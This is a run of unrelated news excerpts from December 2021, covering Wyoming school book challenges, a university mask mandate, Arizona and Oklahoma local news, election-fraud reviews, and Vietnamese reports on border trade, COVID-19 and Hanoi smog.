federal funds come to the district primarily through grants and are used to support low-income or homeless students, English learners, students with disabilities, professional development for teachers and administrators and technical education programs. This year and last, the district also received additional federal money from COVID-19 relief packages including the CARES Act and the American Rescue Plan. Federal dollars comprise roughly 13% of the districts budget. The books cited by parents on Monday include Ellen Hopkins Traffick, Mondays Not Coming by Tiffany Jackson and Gender Queer, a graphic novel by Maia Kobabe. Several of Hopkins books have been targeted by parents in Laramie County School District No. 1, who said that their discussion of topics like drug use, sexual abuse, suicide and assault could be traumatizing to students or could plant dangerous ideas in their heads. A book is a safe space to explore that stuff, Hopkins told the Wyoming Tribune Eagle last week, and its a lot safer than the internet. LCSD officials said that the district does not plan on removing those books. In Campbell County, community members have lodged complaints with the public library over around 30 books concerning queer topics, gender and sexuality. Starting in July, a small cohort associated with the Wyoming chapter of conservative anti-LGBTQ group MassResistance protested outside the library and at several board meetings over the books, which they stated were inappropriately presented to children. A complaint over the books was lodged with the countys sheriff, but an investigation into the allegations of disseminating obscene material found that no charges should be brought against the librarians. Gender Queer, a memoir by a non-binary graphic novelist, has also become a subject of parental concern across the country. Kobabe, the author, said in a Washington Post opinion piece in October that the book has been contested by parents in Florida, Virginia, Rhode Island, New Jersey, Ohio, Washington and Texas. A Bar Nunn mother told NCSD trustees on Monday that the book, which can reportedly be found at Dean Morgan Middle School, was pornographic because of its depictions of oral sex. Another parent on Monday read a list of books that she suggested should be included in school libraries. The list included the Bible and several works by conservative authors including The Road to Serfdom by Friedrich Hayek, Black Rednecks and White Liberals by Thomas Sowell, Bad News: How Woke Media is Undermining Democracy by Batya Ungar-Sargon and BLM: The Making of a New Marxist Revolution by Mike Gonzalez. Follow city and crime reporter Ellen Gerst on Twitter at @ellengerst. Love 2 Funny 0 Wow 4 Sad 0 Angry 8 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The University of Wyoming will extend its mask mandate until mid-February, the board of trustees voted Wednesday. The mandate, introduced in August, requires all students, faculty and staff to wear masks inside most university buildings when social distancing isnt possible. In a meeting Wednesday morning, board members agreed to keep the rule in place amid concerns winter break could bring a wave of new coronavirus cases to campus. The mandate was renewed as part of a larger package of policies proposed by the universitys COVID-19 advisory group. The majority of the package remains unchanged from the fall semester. As part of the plan, all students, staff and faculty will also undergo COVID-19 testing when students return to campus in January. After that, the university will continue surveillance testing 3% of the school community each week. The plan also included a recommendation to require all employees in University of Wyoming health care settings to be vaccinated against COVID-19. At the moment, the vaccine is optional for most university employees. The school does require staff at its Early Care and Education center to be vaccinated, however. The board is set to review its mask policy again at its Feb. 16 meeting. The mandate was first introduced Aug. 11, shortly before the start of the fall semester. At the time, COVID-19 cases in the Equality State were just starting to surge again. That spike would last the next couple of months, with state hospitalizations reaching record heights in October. Coronavirus infections at the university have mostly subsided since then, but its unclear whether itll stay that way, UW President Ed Seidel told board members. Globally, omicron and delta cases have been on the rise since at least Thanksgiving. After an unexpected spike, Cornell University decided Tuesday to close its Ithaca, N.Y., campus and send students home for finals. With this in mind, the university, too should be prepared for another surge in COVID-19 cases, Seidel said especially with the omicron variant looming. The new variant was first discovered in South Africa and Botswana in early November. As of Tuesday, cases of the omicron variant have been identified in at least 33 states. The Center for Disease Control cautioned the same day the variant could be the impetus for another nationwide surge in infections. Its too early to tell how the severity of omicron infections compare to other forms of the virus, and how effective COVID-19 vaccines are at fighting it, the CDC said. Because so little is known about the variant, the university stands to benefit from keeping its mask mandate in place until February, said David Jones, dean of the University of Wyomings College of Health Sciences and head of the advisory group. I think by then, we will have a good sense of where we are on this campus, Jones told board members Wednesday. Some board members pointed to falling infections among students, staff and faculty as an indicator the university was ready to repeal the rule. I believe theres a real cost for us to continue to do this when numbers are so low locally, trustee Macey Moore said, adding that the rule was affecting students quality of life. During the meetings, Trustee Brad LaCroix motioned to modify the universitys COVID-19 policy to not require masks effective Jan. 1. The motion was voted down 7-4. The campus is more divided over the mandate than earlier this semester, student and faculty representatives said Wednesday. The student body in particular seems evenly divided on the topic, said Hunter Swilling, president of the universitys Associated Students group. Swilling said requiring masks until at least February would help keep students safe, and keep classrooms open. Students struggled to stay engaged in their classes when the university was online, he said. Preventing that from happening to our current group of freshmen would be an absolute priority of mine, he said. The university reported eight active cases as of Monday. Seven were off-campus students, and one a university employee. While COVID infections appear to be on the decline, they did rise briefly in the weeks leading up to Thanksgiving break. The university recorded about 30 active cases at the beginning of the month, which jumped to an average of about 40 active cases daily over the next few weeks. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. It will soon cost you at least a dollar or two more to enjoy a Carib or Stag beer as bar owners say a price increase by Carib Brewery has left them with no other alternative but to charge customers more. Carib Brewery, in a statement on Monday, announced a $1 retail price increase per bottle or can would apply to its Carib, Carib Pilsner, Stag, Carib Blue, Royal Extra Stout, Coors, Heineken, Guinness, Smirnoff Ice and Blue Moon products. Two homes in Maraval which are occupied by businessman Adrian Scoon were searched yesterday OUT IN THE RAIN: Trinidad Cement Ltd employees gather in the companys Claxton Bay car park in pouring rain yesterday demanding a meeting with management to discuss the payment of COLA due to them for the past seven years. Photo: TREVOR WATSON Getting it done: A member of staff holds up a vial of the Pfizer-BioNTech Covid-19 vaccine at the Swaminarayan School vaccination centre in London at the weekend. Britain says it will offer all adults a booster dose of vaccine within two months. Photo: AP The state Health Services Department said the new case count was boosted by lower than normal reporting on Sunday, when just 701 new cases were reported. Homegrown Tucson computer and network services provider Nextrio LLC has agreed to be acquired by a California company that plans to keep and grow the operation here. The Network Pro Inc., a provider of managed information-technology services based in Anaheim, signed an agreement to acquire the nearly 20-year-old Tucson company and will assume all of Nextrios existing infrastructure and customer portfolio, the companies said in a joint announcement. The Network Pro plans to retain Nextrios roughly 40 employees, including senior management, the companies said. Financial details of the deal were not disclosed by the privately held companies. Nextrio was founded in 2002 by CEO Cristie Street, husband Bill Street, chief technology officer, and company chief architect Oscar Fowler. The company has grown into a leading provider of IT infrastructure services in Southern Arizona, with more than 1,000 customers in Southern Arizona including Tucson, Marana, Vail, Oro Valley, Green Valley, Sierra Vista, Sahuarita and Nogales. With native Spanish speakers on staff, the company also provides bilingual technical support in northern Mexico. You can celebrate the holiday season in the same place where some of your favorite cowboy actors once rode, roped and moseyed at the Mescal Movie Sets Western Family Christmas, this Saturday, Dec. 18. The set, an Old West town that served as the backdrop to more than 80 Western films and televisions shows over the course of five decades, including The Quick and the Dead and Tombstone, was purchased last February with the intent of being restored to its former glory. While there is still work to be done, says Mark Sankey, spokesman for the set, tours and events are still happening, including this weekends Christmas gathering, which will run from 2 to 6 p.m. in the towns main thoroughfare. The afternoons activities will include hayrides, caroling, food, vendor booths and representatives from the Tucson Rodeo Parade Museum and the Empire Ranch Foundation. Even Santa will be making an appearance. The event is meant to be a fundraiser to help rebuild the 27 structures on the property. Reservations do not need to be made ahead of time. Admission is $10 per car at the gate. A man who prompted a nationwide manhunt after escaping custody with his wife in 2019 reached a plea agreement Tuesday in a Tucson murder case. Prosecutors said 58-year-old Blane Barksdale pleaded guilty to second-degree murder in the death of Frank Bligh and is facing up to 22 years in prison. Barksdale has a sentencing status conference Jan. 10 in Pima County Superior Court. His 61-year-old wife, Susan Barksdale, pleaded guilty to manslaughter last month and could get between 7 and 21 years in prison when shes sentenced Jan. 14. The couple was charged in connection with the disappearance of 72-year-old Frank Bligh, whose Tucson home burned down in an April 2019 explosion and fire. Brent Mallard, the Barksdales nephew, has pleaded guilty to arson in the case and could get up to 12 years in prison when hes sentenced Jan. 28, according to prosecutors. Blighs body has never been found, but Tucson police classified it as a homicide case. Authorities obtained arrest warrants after discovering the Barksdales allegedly pawned guns that belonged to Bligh before they fled Arizona. It breaks my heart to be put in this situation, Soto said. This store is my life and its all I know. She is unsure if she is in danger of losing the building after getting the $158,000 tax lien on the property in historic Barrio Anita but has reached out to a tax liaison for advice. Soto said she does not have an accountant or attorney. Her grandparents started the business in 1984 and her grandfather was the one who would monitor bills and business matters, Soto said. When he died in 2008, her grandmother trusted others to handle the paperwork. She was scared and taken advantage of, Soto said. There are a lot of nanas and tatas out there who dont know the business side of things. There needs to be more support. Im at the point where I pick and choose what bill I am going to pay today. Soto said she wanted to give faithful customers notice and not suddenly close the shop. Before and after Monday, Dec. 13's so-called hearing on Pima County elections, Rep. Mark Finchem said the idea was to provide proof. On a video he posted before the event, Finchem said: The purpose of this is no more than to hear from constituents and to gather evidence, testimony that will either prove or disprove alleged discrepancies in the election. At the end of the daylong discussion on election integrity, he said, The whole point of this is to develop evidence, develop testimony and to prove or disprove discrepancies in the 2020 election. In between, though, no proof was offered hardly even anything you could call evidence, certainly not of election fraud. As Pima County GOP Chair Shelley Kais put it, while laying out what she considered questionable voter-registration data: My position today is to raise inquiry. So, more than a year on from the 2020 election, Finchem and his band of election dead-enders are still in the stage of raising questions, now about Pima County. NEW YORK (AP) A Long Island police official will be New York Citys next police commissioner, the first woman to lead the nations largest police force. Mayor-Elect Eric Adams told the New York Post on Tuesday that his choice, Nassau County Police Chief of Detectives Keechant Sewell, is a proven crime fighter with the experience and emotional intelligence to deliver both the safety New Yorkers need and the justice they deserve. Sewell, 49, will replace Dermot Shea, who is retiring from the NYPD after 30 years, the last two as commissioner. Shell begin when Adams takes office Jan. 1. Adams, a former NYPD captain, promised to hire a woman as commissioner. Other candidates included former Seattle Chief Carmen Best, Philadelphia Commissioner Danielle Outlaw, former Newark chief Ivonne Roman and NYPD Chief of Patrol Juanita Holmes. Sewell, a Queens native, will be just the third Black person to run the NYPD after Benjamin Ward and Lee Brown, who served in the 1980s and 1990s. She will inherit a police department in flux. The NYPD has struggled to keep crime down a few years after achieving record lows. Graves County Deputy Jailer Robert Daniel was supervising inmate workers at a candle factory in Mayfield, Kentucky, when the tornado struck. His boss said Monday that Daniel had been focused on the prisoners in his care when he was killed as the twister wrecked the plant. Daniel, 47, had worked at the county jail for a few years previously and was rehired a few months ago, said Graves County Jailer George Workman. The seven inmates whom Daniel was overseeing at the factory Friday night were part of a brand-new work program and had just begun their jobs three days earlier. After the storm hit, the inmates told Workmans deputies that it was Daniel who literally had pushed them all to safety, guiding them through a doorway and against a wall in an interior part of the plant. Workman said the last inmate through the door told deputies that Daniel was behind him one moment, and suddenly he was gone. He was physically still in the act of trying to get them to safety. And thats when it hit, Workman said. It takes a tremendous person to be able to lay their own life down for somebody else. But he did and he was doing it for the right reasons. The Star's longtime columnist talks on why winning on the road is so tough, why Jedd Fisch deserves more respect and how Scott McKee's legacy at Sahuaro should only grow: OPINION: "Our goal is to make good on our commitment to transparency. But the only way we get from transparency to accountability is through the engagement of the citizenry of Pima County. We need you to engage us intellectually, to challenge us with both honesty and seriousness to come up with the best solutions to violence and injustices that our community faces," writes Pima County Attorney Laura Conover. OKLAHOMA CITY (AP) A federal appeals court has upheld the conviction of an Oklahoma man for trying to blow up an Oklahoma City bank. The U.S. 10th Circuit Court of Appeals on Monday rejected claims by the appeal of Jerry Drake Varnell, 27, that he was entrapped by the government. Varnell's attorney did not immediately return a phone call for comment on Wednesday. Varnell was convicted and sentenced to 25 years in prison for trying to detonate what authorities said he believed was a half-ton bomb (450-kilogram) outside BancFirst in downtown Oklahoma City because he was upset with the government. The FBI had learned of Varnells plan from an informant and an undercover agent posed as someone who could help construct the bomb, but instead provided inert materials. Margarets German Restaurant plans to close Dec. 20, but not permanently. Owner Margaret Rzepczynski said she has found someone to take over her popular restaurant, 5107 S. Sheridan Road in the Farm Shopping center, and the restaurant will officially open under the new owner Jan. 12. It is close to being a 100 percent thing, Rzepczynski said. There are just a few things we have to sign. Rzepczynski announced in September that she planned to retire after more than 30 years of running Margarets German Restaurant, and that she was hoping someone would take over the restaurant. When we announced I was retiring, it was like everyone in the world was calling us, Rzepczynski said. They were so upset that we might be closing, and then they wanted to know if things were going to change. I will work with the new owner for the first month, teaching her all the recipes we have, she said. So things are not going to change. That process of working with the new owner will begin when Margarets German Restaurant reopens on Jan. 12. AMITE CITY, La. (AP) A federal grand jury has indicted a Louisiana town council member and a former police chief in relation to an alleged 2016 vote-buying scheme, the U.S. Department of Justice announced. Amite City Councilmember Kristian Hart, 49, and former Police Chief Jerry Trabona, 73, have been charged with conspiracy to buy votes and multiple counts of buying votes, according to a Tuesday news release from the department. Their initial court appearance is scheduled for Friday. The indictment says Hart and Trabona conspired to and did unlawfully pay voters to cast ballots for certain candidates during the 2016 primary and general elections in Tangipahoa Parish. It also claims they hired people to identify potential voters and drove those voters to the polls, where they were given the names of candidates to choose. Hart was elected to the council in a December 2016 runoff and Trabona was reelected as chief the month before, according to WWL-TV. He served 15 years at the helm of the police department before unsuccessfully running for Amite City mayor in 2020. HIGHLIGHTS: The five cases in which charges have been filed are distributed across Wisconsin geographically. One person was living in Florida and tried unsuccessfully to vote in Wisconsin. He did not cast a ballot. Two are felons and not eligible to vote. One man voted both in person and absentee and said he didnt recall sending in his absentee ballot. In another case, a woman is charged with submitting an absentee ballot in November for her partner, who had died in July. CASE DETAILS: About half the possible cases -- 16 of 31 -- involved voters in La Crosse County who had listed a UPS store as their residence. Prosecutors said no charges would be brought because those involved were all eligible voters who did not intend to break the law, which requires people to register with the address where they live. Officials said most of the cases involved retirees who use the UPS store to have their mail forwarded to them while on vacation. Local election clerks take the responsibility of preventing voter fraud incredibly seriously, said Meagan Wolfe, administrator of the Wisconsin Elections Commission. When they identify someone who may have committed fraud, clerks refer it for review: Those clerks have a really close connection with their voters, Wolfe said. These are their neighbors, their friends, their family. And so when there is some type of anomaly, our clerks are even more well-situated because of their deep connections with their municipal community to be able to identify these instances. JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She worked for Total Energies, the French company that operates a gas field off Myanmars coast with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Yadana gas field. As military abuses such as the murder and detention of thousands grew, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman has since lost her job. And later, after protesting the military's takeover of her country, she was thrown into prison for three weeks. Among the claims is that widespread voter fraud occurred, but an Associated Press review found fewer than 475 instances of potential voter fraud in the six states disputed by Trump a number that would have made no difference in the election. Republican leaders argue their probes are needed to restore public confidence in elections, but experts say its the reviews themselves that are undermining faith in U.S. elections. The intent of these reviews is to continue to create doubt, distrust and confusion around an election that has been canvassed, certified, audited, litigated and reviewed so they can keep the narrative going. So they can continue to raise money and raise their political profiles, said Matt Masterson, a former top election security official in the Trump administration. In Pennsylvania, Republicans led by Senate President Pro Tempore Jake Corman insist the undertaking has nothing to do with Trump or trying to overturn last years election. Rather, they say the point is to fix problems with the states elections. Many Oklahomans have received three doses of COVID-19 vaccine in the past year, and the Tulsa Health Department's executive director, Bruce Dart, says the practice of getting repeated shots should be warmly embraced because he expects boosters to become a routine part of life. Wednesday marks the one-year anniversary of the first person in Tulsa County to receive the COVID vaccine, a day after the first dose was given in Oklahoma. Since then, more than 5 million COVID-19 shots have been administered in the state, with in excess of 2 million Oklahomans completing their initial vaccine series. Dart said 74.8% of Tulsa County residents ages 5 and older have had at least one dose of COVID vaccine and that of that group, 61.5% have received at least two doses. He said he isn't sure when COVID-19 will move to endemic status like the flu, but he is confident that the virus is here to stay and with it likely the need for recurring boosters. "I don't know what the schedule might be, but I fully expect us to have some type of at a minimum annual COVID shots just like we do for flu," Dart said. "We've been giving annual flu shots forever. It's a part of people's lives. They're used to it, and it's no big deal. The U.S. Fish and Wildlife Service is investigating the death of a bald eagle found mutilated just off a rural county road east of Lane in Atoka County. The eagle was discovered by a rancher who notified the Oklahoma Department of Wildlife Conservation, the wildlife service said Tuesday. The eagles head, talons and tail feathers were missing from the carcass. Evidence was recovered at the scene. The services Wildlife Forensics Laboratory is conducting a necropsy to determine the eagles cause of death. The U.S. Fish and Wildlife Service is offering a $1,500 reward for information leading to the conviction of the person or people responsible for the death. Bald eagles were removed from the endangered species list in June 2007 after their population was declared recovered, due in part to habitat protection and protection from human-caused disturbance, but they remain protected by the Bald and Golden Eagle Protection Act and the Migratory Bird Treaty Act. Rogers turned himself in at the Tulsa County Sheriffs Office about 10:15 a.m. Tuesday, agency spokeswoman Casey Roebuck said. He was arrested on two complaints of first-degree murder and possession of a firearm after a felony conviction and is awaiting transfer to Bartlesville. The cause of the saloon altercation is unclear. Standeford reportedly was working as a bartender at the time, and Parson was off-shift but present as a patron. Both are affiliated with the Mongols Motorcycle Club, Roles said. Roles said Rogers does not appear to be affiliated with any club, and police are unsure why he was in Bartlesville, but detectives are working to corroborate other witnesses many sides of the story and will soon interview him. The FBI is assisting with the investigation, Roles said, because Standeford was a tribal citizen. Standeford and Parson are the third and fourth homicide victims in Bartlesville this year, and their deaths mark the first double-killing police can remember in recent history. Its not typical here in Bartlesville, Roles said. Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Several well-known historians, including Pulitzer Prize-winners James McPherson and Gordon Wood, disputed that assertion, while also endorsing the project as a whole. That also seems to be Olsens primary objection, although he said he also doesnt want students taught that the United States originated slavery or was the last country to abolish it or that only whites owned slaves or that only Blacks were slaves. Nobody argues thats the case, said Brian Hosmer, head of Oklahoma State Universitys History Department. We acknowledge there were non-white slaveholders in American history. The facts are that while there were non-whites who were slaveholders, the vast, vast majority of slaveholders in the United States were white. Secondly, the vast majority of enslaved people were of African descent, followed by people of Indigenous descent. And I would say the most important part of this is that the laws, the enforcement mechanisms, you might say the instruments of slavery, were designed by people in power who are almost entirely white. Hosmer said misconceptions about the study of history at least partly explain disagreements about the teaching of it. Bobby Cleveland, executive director of the Oklahoma Corrections Professionals group, said corrections officials informed him that the 18- and 19-year-old detention officers would be restricted in their job duties and fill positions with minimal prisoner contact. He said he supports the proposal as long as more experienced officers are the ones overseeing housing units and recreation yards. We just need more people inside the prison, so I think it could be a good idea, Cleveland said. Two years ago, state Rep. Justin Humphrey, R-Lane, said a Corrections Department representative reached out and asked if he would introduce a bill lowering the agencys minimum hiring age. Humphrey, a former probation officer and chair of the House Criminal Justice and Corrections Committee, rejected the idea as ludicrous. I told them not only would I not run it, but I would fight it 100%, Humphrey said. But as prison staffing numbers continue to decline, Humphrey said hes opened up to the idea, assuming the youngest officers would not interact with prisoners convicted of violent offenses. More than 1,000 shipping containers of Vietnamese exports to China have been stuck in the northern border province of Quang Ninh due to the falling handling capacity of Chinese customs, since part of the force has been mobilized for COVID-19 control amid waves of overseas Chinese returning home to celebrate the coming Lunar New Year holiday. The Chinese customs force is running thin, failing to meet the requirements of inspection of goods delivered from Vietnam to China via Mong Cai International Border Gate in Mong Cai City under Quang Ninh Province, Luong Quang So, head of the border gate management board, told Tuoi Tre (Youth) newspaper on Tuesday. Part of the local customs force has been mobilized to join epidemic prevention and control activities that have been strengthened in the face of increased numbers of overseas Chinese returning home for the Lunar New Year festival spanning late January and early February, So said. Customs clearance formalities by Chinese customs have slowed down recently, leading to more than 1,000 container trucks carrying Vietnamese exports having to wait at the border gate. The Chinese side stated that a lot of Vietnamese vegetables and fruits remained waiting for inspection by Chinese customs, so they could not receive more containers, So explained. Among the stuck cargoes are more than 400 containers of agricultural products and fruits, and over 700 containers of frozen seafood, So said. Trucks from southern provinces and some neighboring localities such as Bac Giang, Lang Son, and Lao Cai have continued to flock to Mong Cai, worsening the congestion, while the handling capacity of the gate is just 400 containers per day. The speed of goods transport from Mong Cai to China has been dependent on the Chinese side, So said. As each truck may wait for several days to complete customs clearance procedures, Mong Cai City authorities have asked businesses to lease out spaces for container trucks or warehouses for goods at low charges, aiming at supporting their owners during the waiting time. Companies in Mong Cai have agreed to reduce the detention charge to VND100,000 (US$4.3) per container per day, which is much lower than that in other provinces. The Quang Ninh Province administration has made phone talks with relevant Chinese authorities to ask them to facilitate the transport of Vietnamese shipments to China from such gates as Mong Cai, Bac Phong Sinh in Hai Ha District, and Hoanh Mo in Binh Lieu District. Trade between Vietnam and China through the border gate was estimated at $3.5 billion in January-November, up 41 percent against 2020, according to the Mong Cai City Peoples Committee. After the U.S., China has become Vietnam's second-largest export market for agricultural, forestry, and fishery products, the Ministry of Agriculture and Rural Development reported. In January-November, the export revenue earned by Vietnamese exporters from the Chinese market for such commodities reached $8.4 billion, accounting for 19.2 percent of Vietnams total agricultural export value, according to the ministry. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Read what is in the news today: Society -- Police in south-central Ninh Thuan Province have investigated the death, alleged to be a suicide, of Han Van Nhuan, chief justice of the Peoples Court of Ninh Phuoc District, district chairman Bach Van Nguyen said on Tuesday evening. -- Functional forces in northern Bac Kan Province on Tuesday decided to stop the week-long search for two illegal gold diggers who had been trapped in a deep cave due to a landslide on December 8. -- Police in the Mekong Delta province of An Giang on Tuesday afternoon arrested a 31-year-old man after he had been filmed hitting another 27-year-old man to death with two logs and appropriating his possessions in a pedestrian zone on December 12. -- Police in south-central Binh Thuan Province on Tuesday evening finished an autopsy on the body of a 34-year-old man that had been discovered in a stage of decomposition in a forest on the same day. The man had gone missing for two months. -- A three-story house in northern Lao Cai Province collapsed on Tuesday afternoon when workers were digging the ground to build the foundation of another house next door. The house collapse did not cause any casualties. -- Vietnamese Ambassador to India Pham Sanh Chau told a conference in Ho Chi Minh City on Tuesday afternoon that he was promoting cooperation among pharmaceutical companies in the southern Vietnamese city for the importation of patent medicine ingredients from India to produce COVID-19 drugs, including antiviral drug Molnupiravir. -- Some 62.9 percent of Vietnamese women have fallen victim to gender-based violence, according to the results of a national study on violence against women in Vietnam conducted by the Ministry of Labor, War Invalids, and Social Affairs and the General Statistics Office with the support of the United Nations Population Fund (UNFPA) in 2019. -- The Ministry of Health has made a draft proposal to allow fully-vaccinated international arrivals to self-quarantine at home for three days and those who have not been vaccinated or given full doses to undergo seven-day isolation at their residences. Sports -- Vietnam Televisions VTV5 and VTV6 channels will broadcast live the Group B game between Indonesia and Vietnam at the delayed 2020 AFF Suzuki Cup held in Singapore at 7:30 pm on Wednesday. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Vietnamese Ambassador to India Pham Sanh Chau told a conference in Ho Chi Minh City on Tuesday afternoon that he was promoting cooperation among pharmaceutical companies in the southern Vietnamese city for the importation of patent medicine ingredients from India to produce COVID-19 medications, including antiviral drug Molnupiravir. Conference attendees mentioned the plan as part of the initiatives to sustain the development of Ho Chi Minh City in the context of living safely with the coronavirus. In his remarks, Ambassador Chau praised the timely distribution of several COVID-19 treatment drugs, such as Molnupiravir -- which is developed by U.S.-based pharmaceutical companies Ridgeback Biotherapeutics and Merck & Co. Inc. -- in the city in recent months. As Molnupiravir has yet been granted a circulation registration number in Vietnam, the Ministry of Health is considering seeking government approval for using the drug in emergency cases. Molnupiravir is currently used in 34 Vietnamese provinces and cities for treating COVID-19 patients under a pilot program sponsored by the health ministry, with Ho Chi Minh City being the first locality to use the drug. Dinh Vinh Cuong, a Vietnamese logistics expert living in Japan, speaks at a conference discussing ideas for the sustainable development of Ho Chi Minh City in the context of living safely with COVID-19, December 14, 2021. Photo: Ho Chi Minh City Press Center Chau said that he was promoting cooperation among pharmaceutical companies in the southern Vietnamese city for the import of patent medicine ingredients from India to produce COVID-19 drugs. He added that Vietnamese National Assembly chairman Vuong Dinh Hue will witness the signing of cooperation agreements by 15 enterprises, including pharmaceutical manufacturers from Ho Chi Minh City, during his official visit to India from Wednesday to December 19. Following the trip, the said enterprises are expected to bring home one metric ton of pharmaceutical raw ingredients to produce Molnupiravir in Ho Chi Minh City, according to Chau. The diplomat emphasized the importance of stocking COVID-19 treatment pills in advance, even if the whole population in the city have been fully vaccinated against the coronavirus. Ho Chi Minh City deputy chairman Vo Van Hoan speaks at a conference discussing ideas for the sustainable development of Ho Chi Minh City in the context of living safely with COVID-19, December 14, 2021. Photo: Ho Chi Minh City Press Center Other remarks during Tuesdays event included the report of Dinh Vinh Cuong, a Vietnamese logistics, export-import expert living in Japan, on Vietnams receipt of US$28.5 billion in foreign direct investment (FDI) as of December 20, 2020, down 25 percent compared to 2019. Cuong added that FDI into Vietnam came mostly from Asian countries, but rarely from the U.S. and the EU, citing informal costs as the barrier. Meanwhile, Ho Chi Minh City deputy chairman Vo Van Hoan said that city authorities consider remittances to the metropolis, which are forecast to reach $6.6 billion this year and rise nine percent year on year, as a driving force for its economic recovery. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! A thick layer of smog covered the sky of Hanoi on Wednesday morning, while air quality measured at multiple stations in the capital was at a very unhealthy level. The smog appeared in the inner city in the morning and lingered until noon. Many commuters had to turn on their headlights while traveling on local streets, while high-rise buildings were barely visible from afar, according to the observation of Tuoi Tre (Youth) newspaper reporters. Smog envelops Hanois inner city on December 15, 2021. Photo: Q.The / Tuoi Tre Statistics of the Hanoi Air Quality Monitoring Network at 12:00 pm indicated very bad air quality at several locations in the city. At Thanh Cong Park in Ba Dinh District, the air quality index (AQI) was measured at 210. Meanwhile, the reading at Kim Lien Kindergarten in Dong Da District was 215. Residents exercise by Hanois West Lake, December 15, 2021. Photo: Q.The / Tuoi Tre An AQI of 151-200 is classified as unhealthy, while an AQI between 201 and 300 is very unhealthy. A reading of over 300 is considered hazardous. The Hanoi Air Quality Monitoring Network warned that the air quality in Hanoi on Wednesday could adversely affect the health of local residents. People were advised to limit outdoor activities and put on a face mask when going out. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! A rapid increase in COVID-19 infections and hospitalizations in Hanoi has put a heavy burden on the local healthcare system, with many hospitals exposed to the risk of overcrowding. An official of Hanoi Medical University Hospital told Tuoi Tre (Youth) newspaper on Tuesday that its COVID-19 treatment unit was under enormous pressure due to rising infections. The facility is treating about 200 coronavirus patients, he added. The surging new cases have led to a spike in hospitalizations, he stated, adding that about 10 in every 200 patients in the capital suffer serious symptoms. To avoid overcrowding, Hanoi Medical University Hospital has only agreed to provide treatment for COVID-19 patients with severe symptoms, while those with milder manifestations are directed to other treatment facilities. Dr. Nguyen Thu Huong, who is in charge of COVID-19 treatment at Thanh Nhan Hospital, stated that the infirmary has 100 beds preserved for patients with moderate symptoms. However, the facility is currently treating 120 such patients, Huong said. The hospital is providing treatment for about 20-30 patients with severe symptoms, she continued. During its peak period, the institution had up to 40 seriously-ill patients who needed supplemental oxygen or breathing support. Most of these patients were unvaccinated or did not have enough antibodies as they contracted the virus shortly after their inoculation, Dr. Huong explained. As a way to relieve pressure from local hospitals, COVID-19 patients with no symptoms have been allowed to be quarantined and treated at home, according to Tran Thi Nhi Ha, director of the municipal Department of Health. At the end of Monday, health authorities in Hanoi were providing treatment for 9,463 patients, of whom 3,340, or 35 percent, were monitored at home or by mobile medical stations. A survey on 2.1 million households in the city showed that nearly 900,000 of them meet the requirements for home treatment, Ha said. The quarantine and treatment of coronavirus patients at home require close supervision from local authorities to prevent the spread of the disease, the official stressed. Residents must also raise awareness of COVID-19 prevention and control during their home treatment. Hanoi has recorded more than 19,600 local infections since the fourth virus wave hit Vietnam on April 27. The capital has seen a climb in new cases since late November. On Monday, Hanoi documented 1,000 new patients, the highest daily count among provinces and cities in the country that day. More than 6.8 million out of eight million people in the city have been vaccinated with at least one dose, while nearly 5.7 million have been jabbed twice, according to the national COVID-19 vaccination portal. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Tropical Storm Rai, currently located off the Philippines, is expected to enter the East Vietnam Sea later this week, causing rough seas and bad weather conditions on the mainland. The National Steering Committee for Natural Disaster Prevention and Control has organized a teleconference with 20 provinces and cities in central and southern Vietnam to prepare for the arrival of Storm Rai. As of Wednesday morning, the storm was situated 800 kilometers east of the Philippines, with wind speed of 100-117km per hour, Hoang Phuc Lam, deputy director of the National Center for Hydro-meteorological Forecasting, stated at the meeting. Storm Rai is forecast to travel northwest and pick up strength, with wind speed increasing to 135-165km per hour, Lam continued. However, it may weaken after passing the Philippines, he added. The storm will likely enter the East Vietnam Sea between Friday night and Saturday morning, becoming the ninth storm to hit Vietnam this year. A map detailing the route of Tropical Storm Rai. Photo: National Center for Hydro-meteorological Forecasting The storm will result in powerful winds, which can reach up to 130km per hour, and strong waves in the maritime area, including Vietnam's Truong Sa (Spratly) and Hoang Sa (Paracel) archipelagoes. Storm Rai may interact with an enhanced cold front in northern Vietnam, thus its route will be unpredictable, Lam warned, adding that the storm is likely to affect the weather conditions on the mainland as early as Sunday. It is expected to make landfall on Monday next week. The National Steering Committee for Natural Disaster Prevention and Control requested authorities in the coastal localities from north-central Quang Binh Province to southern Ca Mau Province to closely monitor the development of the storm. Captains of local ships and fishing boats must be promptly informed of potential danger at sea, the center underscored. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! The Ministry of Health reported 15,527 additional COVID-19 cases across Vietnam on Wednesday, together with 2,992 recoveries and 283 virus-related mortalities. The latest infections, including five imported and 15,522 domestic transmissions, were detected in 61 provinces and cities, the ministry said, elaborating that 9,940 patients were infected in the community. Ho Chi Minh City recorded 1,270 of the newest cases, Ca Mau Province 1,072, Ben Tre Province 1,035, Hanoi 1,024, Can Tho City 720, Khanh Hoa Province 593, Dong Nai Province 464, Binh Duong Province 371, Thua Thien-Hue Province 329, Bac Ninh Province 300, Binh Thuan Province 266, Lam Dong Province 257, Ba Ria-Vung Tau Province 238, Da Nang 236, Hai Phong City 116, Quang Nam Province 115, Quang Ninh Province 49, and Bac Giang Province 16. Vietnam had registered 15,203 locally-acquired infections on Tuesday. The country has logged 